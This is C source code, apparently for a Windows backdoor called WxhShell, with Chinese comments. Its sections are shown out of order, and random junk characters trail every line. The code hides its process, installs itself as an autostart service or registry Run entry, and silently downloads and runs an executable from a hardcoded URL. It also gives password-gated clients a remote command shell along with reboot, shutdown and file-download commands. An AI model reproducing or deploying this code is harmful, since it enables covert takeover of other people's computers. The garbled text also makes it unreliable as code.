    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c0B|F  
    if(Boot(SHUTDOWN)) g8qgk:}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^k5ll=}  
    else { )'17r82a  
    closesocket(wsh); 0sN.H=   
    ExitThread(0); N{ Z  H  
    } An;MVA  
    break; 5pr"d@.  
    } MYJg8 '[j  
  // 获取shell _v Sn`  
  case 's': { drzL.@h|  
    CmdShell(wsh); UcBe'r}G  
    closesocket(wsh); r.3/F[.  
    ExitThread(0); j 8*ZF  
    break; mMsTyM-f  
  } t@u7RL*n:<  
  // 退出 w(kf  
  case 'x': { t!*+8Q !e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1) ta  
    CloseIt(wsh); BdlVabQyKW  
    break; &j(+/;A  
    } Ee4&g<X.  
  // 离开 JJ;[,  
  case 'q': { zi`b2h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rSXh;\MfB4  
    closesocket(wsh); 'RRmIx2X  
    WSACleanup(); -~?J+o+Pr"  
    exit(1); ST\$=  
    break; 0#w?HCx=  
        } "Rn 3lj0  
  } |D, +P  
  } JkW9D)6  
a=M\MZK>  
  // 提示信息 ;"(foY"L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fRg`UI4w}  
} I%- " |]$  
  } t]7&\ihZi~  
4`JH&))}  
  return; n 1!?"m!  
} *OuStr \o  
)Ke*JJaq  
// shell模块句柄 aLIBD'z  
int CmdShell(SOCKET sock) ,9WBTH8  
{ aW>6NDq(  
STARTUPINFO si; FQ g~l4WX  
ZeroMemory(&si,sizeof(si)); Yjx|9_|Xn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &u#&@J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pdE3r$C  
PROCESS_INFORMATION ProcessInfo; ?LvCR_D:  
char cmdline[]="cmd"; C@th O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xg)v0y~  
  return 0; E<yW\  
} p.LFVFPT  
cA%%IL$R  
// 自身启动模式 ]`Oo%$Ue  
int StartFromService(void) M5xCC!  
{ 2W4qBaG$=  
typedef struct JV;OGh>  
{ jBegh9KHq  
  DWORD ExitStatus; fk_o@ G!0  
  DWORD PebBaseAddress; 5nsq[Q`  
  DWORD AffinityMask; ]Dw]p! @  
  DWORD BasePriority; 6/rFHY2q  
  ULONG UniqueProcessId; [B+W%g(c-  
  ULONG InheritedFromUniqueProcessId; mEG#>Gg$  
}   PROCESS_BASIC_INFORMATION; zbq@pj)Qu  
6R=W}q4  
PROCNTQSIP NtQueryInformationProcess; Q+YRf3$  
J~#;<e{\"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D1__n6g[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w8n|B?Sr  
)B[0JrcE  
  HANDLE             hProcess; HD(.BW7  
  PROCESS_BASIC_INFORMATION pbi; "HPB!)C8(  
i&VsW7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rF]h$Z8o  
  if(NULL == hInst ) return 0; qh`t-  
XLH0 ;+CL{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]CoeSA`j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &L^+BQ`O?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TY1I=8  
O BN2 ) j  
  if (!NtQueryInformationProcess) return 0; {)-aSywe  
wXsmn1w9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [7[0^ad  
  if(!hProcess) return 0; LqA@&H  
eut-U/3:#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l5"OIq  
=Q.^c.sw  
  CloseHandle(hProcess); u9N 1pZ~  
D:erBMKv,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u,&^&0K,  
if(hProcess==NULL) return 0; v8y1b%  
L21VS ,#I  
HMODULE hMod; b[`Yi1^]%g  
char procName[255]; B>2tZZko  
unsigned long cbNeeded; at)~]dG  
ayiu,DXx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xP[n  
/n>qCuw  
  CloseHandle(hProcess); M%@!cW  
p`l0?^r c"  
if(strstr(procName,"services")) return 1; // 以服务启动 X-wf:h?i  
8O38# {[S  
  return 0; // 注册表启动 kkQVNphc  
} x@*SEa  
-]QD|w3dp  
// 主模块 HaP}Y :p  
int StartWxhshell(LPSTR lpCmdLine) W VI{oso#  
{ -?0qf,W.  
  SOCKET wsl; bua+I;b  
BOOL val=TRUE; gM _hi  
  int port=0; ]wtb-PC  
  struct sockaddr_in door; QDu2?EYZq  
o#skR4lwe  
  if(wscfg.ws_autoins) Install(); U-|NY  
uXKERzg  
port=atoi(lpCmdLine); Ry'= ke  
 jrS[f  
if(port<=0) port=wscfg.ws_port; 1&- </G#  
)'~6HO8Z  
  WSADATA data; +u3=dj"[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h-%R<[  
CO`_^7o9(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t]YC"%[S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0|a(]a}V*j  
  door.sin_family = AF_INET; '#&os`mQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T3^GCX|!@  
  door.sin_port = htons(port); ^_f+15]D  
+ ~>Aj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *FMMjz  
closesocket(wsl); |6$p;Aar  
return 1; 0:T|S>FsAm  
} #*KNPh  
lR(+tj)9uO  
  if(listen(wsl,2) == INVALID_SOCKET) { >M`CVUf  
closesocket(wsl); *3?'4"B{8  
return 1; Dp':oJC  
} 2n|K5FR()  
  Wxhshell(wsl); !Ze5)g%H  
  WSACleanup(); 'JRvP!]  
`tn{ei  
return 0; D8xmE2%  
1A\OC  
} H(Z88.OM  
3h *!V6%q  
// 以NT服务方式启动 @WVcY:1t#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /@,j232  
{ ]4pkcV P  
DWORD   status = 0; EUxGAj$-  
  DWORD   specificError = 0xfffffff; @ g&ct>@y  
8/=L2fNN[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dzDqZQY$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v^1pN>#%g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +w+} b^4  
  serviceStatus.dwWin32ExitCode     = 0; r_-_a(1R:  
  serviceStatus.dwServiceSpecificExitCode = 0;  {PVWD7  
  serviceStatus.dwCheckPoint       = 0; 4/wa+Y+=vt  
  serviceStatus.dwWaitHint       = 0; |%' nVxc4r  
b4QI)z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IkGfnXJ  
  if (hServiceStatusHandle==0) return; `a2n:F  
|563D#?cR  
status = GetLastError(); o*o/q],C9-  
  if (status!=NO_ERROR) GhIKvX_N  
{ ;ShJi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 28UU60  
    serviceStatus.dwCheckPoint       = 0; JW3B'_0  
    serviceStatus.dwWaitHint       = 0; HlH64w2^R  
    serviceStatus.dwWin32ExitCode     = status; %*L:sTj(  
    serviceStatus.dwServiceSpecificExitCode = specificError; G{6;>8h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qx+%"YO  
    return; [x,>?~6ek  
  } :R~MO&  
k@z,Iq8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !lj| cT9  
  serviceStatus.dwCheckPoint       = 0; <1t*I!e_  
  serviceStatus.dwWaitHint       = 0; FW21 U<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G1o3l~x  
} lLF-{  
#g]vc_V  
// 处理NT服务事件,比如:启动、停止 `0Oh_8"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "$2 y-|  
{ n:{qC{D-qS  
switch(fdwControl) !;KCU^9  
{ ;,?KI$K  
case SERVICE_CONTROL_STOP: t},/}b  
  serviceStatus.dwWin32ExitCode = 0; _t^{a]/H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j4cwI90=  
  serviceStatus.dwCheckPoint   = 0; 2(#7[mgPI  
  serviceStatus.dwWaitHint     = 0; .~l=zu  
  { Yi$vg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BZ?.D_bu  
  } # ?/<  
  return; UOxkO  
case SERVICE_CONTROL_PAUSE: ;{KV /<3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z|lq b=  
  break; |bO"_U  
case SERVICE_CONTROL_CONTINUE: CD~z=vlK-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~wkj&yVT  
  break; Ljp%CI[i  
case SERVICE_CONTROL_INTERROGATE: K|:@Z  
  break; w%JTTru  
}; e,Uo#T6J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pUV/ Ul]  
} K*X_FJ  
{M^3m5.^  
// 标准应用程序主函数 RT.D"WvT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -UOj>{-  
{ "O%gFye  
MP4z-4Y  
// 获取操作系统版本 ZHm7Isa1  
OsIsNt=GetOsVer(); %)0*&a 4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R]RZq+2 ^  
\E*d\hrl{  
  // 从命令行安装 NbU[l  
  if(strpbrk(lpCmdLine,"iI")) Install(); id2j7|$,  
F7O(Cy"1  
  // 下载执行文件 i5CK*"$Q  
if(wscfg.ws_downexe) { CTZh0 x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A^y|J ` k|  
  WinExec(wscfg.ws_filenam,SW_HIDE); }wHW7SJ  
} 6{^E{go  
Is{KN!Hw  
if(!OsIsNt) { ,Q HU_jt  
// 如果时win9x,隐藏进程并且设置为注册表启动 u (em&M  
HideProc(); &I (#Wy3  
StartWxhshell(lpCmdLine); >o7n+Rb:  
} rjp-Fw~1w  
else !U'QqnT  
  if(StartFromService()) L_wk~z  
  // 以服务方式启动 nh!a)]c[  
  StartServiceCtrlDispatcher(DispatchTable); 'gTbA?+@5  
else RF%KA[Dj  
  // 普通方式启动 DUC#NZgw  
  StartWxhshell(lpCmdLine); !>zo _fP  
o1h={ao  
return 0; .U?'i<  
} OslL~<  
JU^lyi!  
urMG*7i <c  
w[I E  
=========================================== RIY,K*f.  
enSXP~9w  
8(~K~q[Cr  
zhpt%7So  
Cif>7]M  
_U |>b>  
" o .qf _A  
oBzfbg8p  
#include <stdio.h> Ipq"E  
#include <string.h> uFPF!Ern  
#include <windows.h> 7 D^gMN%p  
#include <winsock2.h> [g:$K5\64  
#include <winsvc.h> /M3Y~l$  
#include <urlmon.h> /qy-qUh3h  
(tZrw5 @  
#pragma comment (lib, "Ws2_32.lib") /.o^R6  
#pragma comment (lib, "urlmon.lib") .2v_H5<  
.MJofE;Jn  
#define MAX_USER   100 // 最大客户端连接数 ^wc"&;=c|  
#define BUF_SOCK   200 // sock buffer EuyXgK>g  
#define KEY_BUFF   255 // 输入 buffer OG~6L4"  
< F`>,Pm  
#define REBOOT     0   // 重启 ak |WW]R  
#define SHUTDOWN   1   // 关机 z2QP)150  
s1h/}  
#define DEF_PORT   5000 // 监听端口 [N#, K02mk  
D-4f >  
#define REG_LEN     16   // 注册表键长度 7zSLAHW  
#define SVC_LEN     80   // NT服务名长度 or';A'k  
i5K[>5  
// 从dll定义API #>mr[   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qg[/%$x.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bS"fkf9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Htgx`N|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2VE9}%i  
/5:bvg+  
// wxhshell配置信息 7[5.> h  
struct WSCFG { S>]pRV9rT  
  int ws_port;         // 监听端口  \V*xWS  
  char ws_passstr[REG_LEN]; // 口令  .5y+fL  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1r]Io gI  
  char ws_regname[REG_LEN]; // 注册表键名 gm[z[~X@  
  char ws_svcname[REG_LEN]; // 服务名 {yB&xj[z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aM:nOt" S1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $l|qk  z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "vyNxZE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3T!lA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZsOIH<}S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @)4]b+8Z  
 s8rE$  
}; $}jssnoU  
YtfVD7m  
// default Wxhshell configuration j&Wl0  
struct WSCFG wscfg={DEF_PORT, >w^YO25q  
    "xuhuanlingzhe", k+8q{5>A<  
    1, @vrV*!  
    "Wxhshell", s! }ne"&0  
    "Wxhshell", KNLfp1!  
            "WxhShell Service", nEkR1^30  
    "Wrsky Windows CmdShell Service", 86mp=6@  
    "Please Input Your Password: ", Yo("U8:XX  
  1, Vy938qX   
  "http://www.wrsky.com/wxhshell.exe", OC<5E121>Y  
  "Wxhshell.exe" .P MZX%*v  
    }; J1:1B ,^y  
1PP $XJtyD  
// 消息定义模块 M#=] k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cQ" ~\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }C>{uXv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _oUHJ~&,  
char *msg_ws_ext="\n\rExit."; (Yis:%c\!  
char *msg_ws_end="\n\rQuit."; /(BMG/Tb  
char *msg_ws_boot="\n\rReboot..."; q~vDz]\G  
char *msg_ws_poff="\n\rShutdown..."; nC}6B).el  
char *msg_ws_down="\n\rSave to "; CS=qj-(  
p-/|mL  
char *msg_ws_err="\n\rErr!"; (3 #Cl 1]f  
char *msg_ws_ok="\n\rOK!"; 4W)B'+ZK8  
^n"OL*ipG  
char ExeFile[MAX_PATH]; Bxfc}vC.  
int nUser = 0; %ve:hym*  
HANDLE handles[MAX_USER];  $W9{P;  
int OsIsNt; $[/&74#0HX  
'Ub g0"F(  
SERVICE_STATUS       serviceStatus; !cAyTl(_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \&iP`v`K  
D0#x Lh  
// 函数声明 !H irhD N  
int Install(void); 0 rXx RQ  
int Uninstall(void); }c}| $h^Y  
int DownloadFile(char *sURL, SOCKET wsh); [h34d5'w  
int Boot(int flag); d~:!#uWyFk  
void HideProc(void); QZ:8+[oy  
int GetOsVer(void); PV/7 7{'  
int Wxhshell(SOCKET wsl); \a6^LD}B  
void TalkWithClient(void *cs); Z]j*9#G1s  
int CmdShell(SOCKET sock); I9 mvt e  
int StartFromService(void); EVVP]ND  
int StartWxhshell(LPSTR lpCmdLine); S!G(a"<W  
/`6ZAo m9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "gne_Ye.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qLT>Mz)$ %  
3`ELKq  
// 数据结构和表定义 v {jQek4  
SERVICE_TABLE_ENTRY DispatchTable[] = bV$)!]V  
{ G1"zElug  
{wscfg.ws_svcname, NTServiceMain}, 0DmMG  
{NULL, NULL} OVko+X`  
}; 8rMX9qTO@  
I>[RqG  
// 自我安装 !2'jrJGc  
int Install(void) -sjd&)~S[  
{ pm\x~3jHs  
  char svExeFile[MAX_PATH]; -"h;uDz|z  
  HKEY key; :I:!BXQT$  
  strcpy(svExeFile,ExeFile); 4x;/HEb7?  
HaYE9/xS  
// 如果是win9x系统,修改注册表设为自启动 {FIXc^m'  
if(!OsIsNt) { %QKRFPYhS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k-HCeZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1}:bqI.<W  
  RegCloseKey(key); _:-ha?W$;y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LX@/RAd vz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '`XX "_k3  
  RegCloseKey(key); PG_0\'X)/w  
  return 0; H N.3  
    } u\LFlX0sO  
  } q|v(Edt|_[  
} ]"1`+q6i  
else { 0LfU=X0#7  
&znQ;NH#  
// 如果是NT以上系统,安装为系统服务 KA){''>8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); & M~`:R  
if (schSCManager!=0) \yd s5g!:  
{ yfx7{naKC`  
  SC_HANDLE schService = CreateService e|p$d:#!  
  ( qZh1`\G  
  schSCManager, ;IVDr:  
  wscfg.ws_svcname, 8ZKo_I\  
  wscfg.ws_svcdisp, h|h>u ^@  
  SERVICE_ALL_ACCESS, 9XRZ$j}L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N^pJS6cJkl  
  SERVICE_AUTO_START, <oWB0%  
  SERVICE_ERROR_NORMAL, LwK+:4$  
  svExeFile, (q4),y<:[  
  NULL, t@R ?Rgu3  
  NULL, -GqT7`:(H4  
  NULL, &p}$J )q  
  NULL, n%k!vJ)]  
  NULL %c [F;ug  
  ); BwBm[jtP  
  if (schService!=0) a_ `[Lj  
  { GF>'\@Th  
  CloseServiceHandle(schService); 7G\\{  
  CloseServiceHandle(schSCManager); )EL!D%<A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j8fpj{hp  
  strcat(svExeFile,wscfg.ws_svcname); 0MkSf*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =Uj-^qcE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "v`   
  RegCloseKey(key); zj/!In  
  return 0; ~5 *5  
    } 3q'&j, ,^  
  } rc/nFl 6#  
  CloseServiceHandle(schSCManager); W ]Nv33i [  
} Ci<ATho  
} }yJ$SR]t  
h-m \%|D  
return 1; ,daKC  
} 6X\ 2GC9  
=Apxdnz,  
// 自我卸载 {qmdm`V[  
int Uninstall(void) o.'g]Q<}UB  
{ TP"1\O  
  HKEY key; {O,{c\  
Uv?|G%cD-  
if(!OsIsNt) { El o Me~a3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OzQ -7|m'J  
  RegDeleteValue(key,wscfg.ws_regname); Wa1, p  
  RegCloseKey(key); dpFVN[\oK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,uPJ_oZs  
  RegDeleteValue(key,wscfg.ws_regname); y /BJIQ  
  RegCloseKey(key); xritonG/F  
  return 0; #~=hn8  
  } i@B[ eta  
} ~>:Z6Le@   
} h?f>X"*|(  
else { Ai/b\:V9S  
wo3wtx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ylB7*>[  
if (schSCManager!=0) m@Qt.4m%g  
{ y8 KX<2s1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r.T<j .\  
  if (schService!=0) +]|Z%;im  
  { :Pg}Zz<  
  if(DeleteService(schService)!=0) { n f.wCtf].  
  CloseServiceHandle(schService); 4<?8M vF  
  CloseServiceHandle(schSCManager); ;i"*Ll>Q)  
  return 0; X5khCL Hi  
  } }#qGqY*@LK  
  CloseServiceHandle(schService); V%_4%  
  } VL/|tL>E^  
  CloseServiceHandle(schSCManager); mCWhUBghR  
} BA:yQ  
} 2PeR   
-YjA+XP  
return 1; \/SQ,*O  
} b.@P%`@a.  
E!Zx#XP1  
// 从指定url下载文件 0z[dl Hi  
int DownloadFile(char *sURL, SOCKET wsh) k $f Gom  
{ TeWMp6u,r  
  HRESULT hr; x+h~gckLb  
char seps[]= "/"; 1$2D O  
char *token; t2V0lyeL  
char *file; `$~Rxz Z g  
char myURL[MAX_PATH]; Fk6x<^Q<w  
char myFILE[MAX_PATH]; 8UMF q  
=fYL}m5E  
strcpy(myURL,sURL); PT^c^{V  
  token=strtok(myURL,seps); AxZD-|.  
  while(token!=NULL) @_"9Dy Y%  
  { Zo}y(N1K}  
    file=token; rx5B=M  
  token=strtok(NULL,seps); xy<`#  
  } 90# ;?#  
dDD<E?TjD  
GetCurrentDirectory(MAX_PATH,myFILE); #9m$ N  
strcat(myFILE, "\\"); 3G meD/6  
strcat(myFILE, file); % ',F  
  send(wsh,myFILE,strlen(myFILE),0); qA:#iJ8w  
send(wsh,"...",3,0); )$&dg2[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); if)Y9:{r^  
  if(hr==S_OK) k`{@pt.  
return 0; #k$)i[aI-  
else X/; p-KX  
return 1; 6AP~]e 8  
?6k}ii!c  
} * FeQ*`r  
-@F fU2  
// 系统电源模块 (Si=m;g  
int Boot(int flag) p:OPw D+  
{ 2qHf'  
  HANDLE hToken; >F@qpjoQE  
  TOKEN_PRIVILEGES tkp; >;#=gM  
\NG C$p n  
  if(OsIsNt) { 8LI-gp\ 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WA$>pG5s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `Rd m-[&  
    tkp.PrivilegeCount = 1; CAU0)=M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0vGyI>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;oxAe<VIj  
if(flag==REBOOT) { ^Q{Bq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bpkwn<7-  
  return 0; lg}HGG  
} +xXH2b$wWC  
else { e8EfQ1 Ar  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gUAxyV  
  return 0; ~aXqU#8  
} ~RBrSu)  
  } s 1ge0~p3  
  else { a P&D9%5  
if(flag==REBOOT) { }6-ZE9H-v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ow/57P  
  return 0; XYH|;P6K  
} CN2_bz  
else { P0i V<T4^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) phYDs9-K  
  return 0; /U$8TT8+-  
} 45@]:2j  
} O3N_\B:  
C*X G_b ]  
return 1; 3p*-tBOO  
} gFPi7 o1  
@cq`:_.[  
// win9x进程隐藏模块 s-W[ .r|  
void HideProc(void) Y e+Ay  
{ rxO2js  
AY SSa 1}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [Qdq}FYr  
  if ( hKernel != NULL ) ir:d'g1k  
  {  ?W0(|9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )ZejQ}$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sLcFt1  
    FreeLibrary(hKernel); R 4wr  
  } +jqj6O@Tjr  
@ 2_<,;$  
return; aj ~bt-cE  
} ]bgY6@M  
#*c F8NV-  
// 获取操作系统版本 'ZQWYr9R  
int GetOsVer(void) 33~qgK1>  
{ "Jy~PcJZ1  
  OSVERSIONINFO winfo; n(lk dw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sg] J7;]  
  GetVersionEx(&winfo); S='syq>Aok  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O{k:yVb  
  return 1; ]Y.deVw3i  
  else plV7+?G  
  return 0; \;]kYO}  
} 15zrrU~D  
y_}SK6{  
// 客户端句柄模块 uD[ "{?H  
int Wxhshell(SOCKET wsl) *o' 4,+=am  
{ ecX/K.8l  
  SOCKET wsh; R: aYL~  
  struct sockaddr_in client; ^+R:MBK  
  DWORD myID; *mBJ? { !  
`BnP[jF  
  while(nUser<MAX_USER) l9/:FiJ_  
{ 137Xl>nO  
  int nSize=sizeof(client); (\dK4JJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XNH4==4  
  if(wsh==INVALID_SOCKET) return 1; >!9h6BoGV  
;t]|15]u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?A7Yk4Y.?N  
if(handles[nUser]==0) {*/dD`  
  closesocket(wsh); )9P&=  
else ~ H[%vdR  
  nUser++; ., :uZyG  
  } _1jw=5^P\i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cCxi{a1uo  
>]}yXg=QK+  
  return 0; +#]|)V Z  
} "]t>ZT:OJ  
IX?ZbtdX$`  
// 关闭 socket *+8%kn`c  
void CloseIt(SOCKET wsh) C$#W{2x%6  
{ 16@);Ot  
closesocket(wsh); "A]Y~iQ  
nUser--; zfjTQMaxh  
ExitThread(0); G5{Ot>;*%  
} oA~4p(  
`W[+%b  
// 客户端请求句柄 P 4;{jG  
void TalkWithClient(void *cs) &.*uc|{  
{ B50 [O!  
(BERY  
  SOCKET wsh=(SOCKET)cs; o@d y:AR  
  char pwd[SVC_LEN]; 5a(<%Q <"  
  char cmd[KEY_BUFF]; CtT~0Y|  
char chr[1]; ;o$;Z4:.D  
int i,j; MB* u-N0v  
KtTza5aF  
  while (nUser < MAX_USER) { HR3_@^<7  
v3JPE])/  
if(wscfg.ws_passstr) { F$*3@Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aed+C:N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p,n\__  
  //ZeroMemory(pwd,KEY_BUFF); )o8g=7Jm  
      i=0; " >6&+^BN'  
  while(i<SVC_LEN) { V_;9TC  
`)[dVfxA  
  // 设置超时 abZdGnc  
  fd_set FdRead; (5;D7zdA  
  struct timeval TimeOut; w3#`1T`N  
  FD_ZERO(&FdRead); V:\]cGA{  
  FD_SET(wsh,&FdRead); 8Inx/>eOI  
  TimeOut.tv_sec=8; WOO%YU =  
  TimeOut.tv_usec=0; 5 R*lVUix  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KzkgWMM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g2'x#%ET  
e~Hr(O+;e6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <F=Dj*]  
  pwd=chr[0]; Lp~^*j(  
  if(chr[0]==0xd || chr[0]==0xa) { b~W)S/wF$P  
  pwd=0; ZPF7m{S  
  break; Lht[g9  
  } Tiprdvm<  
  i++; /{DaPqRa  
    } )C}KR`"  
lcig7%  
  // 如果是非法用户,关闭 socket e}Q>\t45  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vOgLEN&]  
} j@ C0af  
Wg(bD,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pruWO'b`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {NeWdC  
l.7d$8'\  
while(1) { _>v0R'  
5w-JPjH  
  ZeroMemory(cmd,KEY_BUFF); zKJ. Tj W  
ih!~G5Xi9i  
      // 自动支持客户端 telnet标准   1#D<ZN  
  j=0; A7(M,4`6  
  while(j<KEY_BUFF) { QUPf *3Oy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C<t RU5|  
  cmd[j]=chr[0]; ,xj3w#`zaf  
  if(chr[0]==0xa || chr[0]==0xd) { vfXJYw+6_  
  cmd[j]=0; n{{ P 3f  
  break; cDO:'-  
  } C|$L6n>DR6  
  j++; /:Y9sz uW`  
    } tE:X,Lt[  
vpafru4  
  // 下载文件 WFj*nS^~l  
  if(strstr(cmd,"http://")) { DoG%T(M!a9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ss; 5C:*y  
  if(DownloadFile(cmd,wsh)) P/`m3aSzX.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yId;\o B  
  else y.fs,!|%@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _vIO !*h0  
